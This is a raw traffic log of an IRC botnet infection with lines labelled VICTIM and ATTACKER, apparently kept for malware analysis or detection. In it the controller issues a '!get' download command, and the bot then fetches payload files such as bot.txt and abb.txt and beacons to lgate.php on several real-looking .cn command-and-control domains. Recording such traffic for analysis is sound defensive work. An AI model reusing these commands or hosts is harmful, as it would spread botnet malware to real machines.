VICTIM: NICK dvfcscqnUSER l020501 . . :- VICTIM: JOIN &virtu ATTACKER: :i. PRIVMSG dvfcscqn :!get http:/dretis.cn/oc/box.txt VICTIM: GET /oc/box.txt HTTP/1.0User-Agent: DownloadHost: dretis.cnPragma: no-cache ATTACKER: GET /op/lgate.php?n=94AEEEDFFCB64848 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: kritq.cnConnection: Keep-Alive ATTACKER: GET /lib/abb.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: dretis.cnConnection: Keep-Alive ATTACKER: GET /ag/lo.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: onuka.cnConnection: Keep-Alive ATTACKER: GET /40E8001430303030303030303030303030303030303031306C0000016666000000007600000642EB00053035444F59 HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)Host: hdp78wi467a.comConnection: Keep-Alive ATTACKER: GET /lib/bot.txt HTTP/1.0Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: dretis.cnConnection: Keep-Alive VICTIM: \000\211\001\000\000\001\000\000\000\000\000\000\003com\000\000\002\000\001 VICTIM: \000\360\001\000\000\001\000\000\000\000\000\000\003com\000\000\002\000\001 ATTACKER: PING :i. ATTACKER: PONG :i. VICTIM: JOIN &virtu ATTACKER: PING :i. ATTACKER: PONG :i. VICTIM: JOIN &virtu ATTACKER: PING :i. ATTACKER: PONG :i. VICTIM: JOIN &virtu